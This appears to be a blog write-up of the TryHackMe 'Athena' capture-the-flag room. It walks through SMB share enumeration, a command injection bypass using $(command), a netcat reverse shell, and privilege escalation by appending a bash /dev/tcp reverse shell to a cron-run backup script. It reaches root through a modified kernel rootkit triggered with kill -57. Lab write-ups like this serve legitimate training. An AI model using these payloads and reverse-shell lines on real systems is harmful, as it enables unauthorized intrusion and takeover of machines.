Post

Athena @ THM

Athena @ THM

Athena

53d3c28c1af197142685ceb238d5ce3c

Port Sacn

Screenshot from 2023-09-19 22-04-24

Seeing that there is port 80, i visited the web page

Screenshot from 2023-09-19 22-06-23

I searched through but not, so i checked the smb port

1
smbclient -L //ip//

Screenshot from 2023-09-19 22-09-12

1
smbclient //ip/public

Screenshot from 2023-09-19 22-10-47

reading the msg_for_administrator.txt file

Screenshot from 2023-09-19 22-12-41

Command Injection

So i visited the /myrouterpanel directory on the web

Screenshot from 2023-09-19 22-14-29

Seeing this what came to my mind was Command injection

I firstly checked if the ping function was working

Screenshot from 2023-09-19 22-16-13

Seeing that the ping is working i tried 127.0.0.1;ls 127.0.0.1| ls payload but it did not

Screenshot from 2023-09-19 22-18-25

After some tries i was able to bypas it with

1
$(command)

so in order to get an RCE i used

1
$(nc <lhost> <lport> -e /bin/bash)

Screenshot from 2023-09-19 22-22-37

I tried accessing the /home/athena directory i keep getting Permission denied

Privilege escalation to athena

1
find / -user 'athena' 2>/dev/null

Screenshot from 2023-09-19 22-26-29

we se a /usr/share/backup directory which has a backup.sh file in it

Screenshot from 2023-09-19 22-28-12

Guessing there is process runing the backup.sh file i decided to add a reverse shell inside the backup.sh file

1
echo 'bash -i >& /dev/tcp/<lhost>/4444 0>&1' >> backup.sh

start a listener on 4444

After a while i got a reverse shell as athena

Screenshot from 2023-09-19 22-28-12

Root

Trying sudo -l

Screenshot from 2023-09-19 22-34-14

we see that we can run (root) NOPASSWD: /usr/sbin/insmod /mnt/.../secret/venom.ko

USE Ghidra: to reverse the venom.ko file

after some reversing, we notice the hacked_kill function :

ghidra

we see that in order for give_root() to get called, we need to send a signal 57 instead of 64 as mentioned in the github repository, so this rootkit was slightly modified, let’s try again with signal 57 :

the give_root function may work like this kill -57, later on the id command reveals that you have root access.

so i started a process with sleep 10 &

got the process id and typed kill -57 -pid

Screenshot from 2023-09-19 22-44-19

Now we got Root !!!

This post is licensed under CC BY 4.0 by the author.